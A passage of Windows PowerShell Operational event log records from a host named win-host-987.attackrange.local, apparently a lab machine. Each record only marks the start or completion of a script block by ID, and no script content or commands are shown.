ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029959
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029954
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029953
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029937
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029936
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029935
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029934
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029931
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029930
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029929
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029928
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029918
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029917
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029913
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2029912
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2029911
Keywords=None
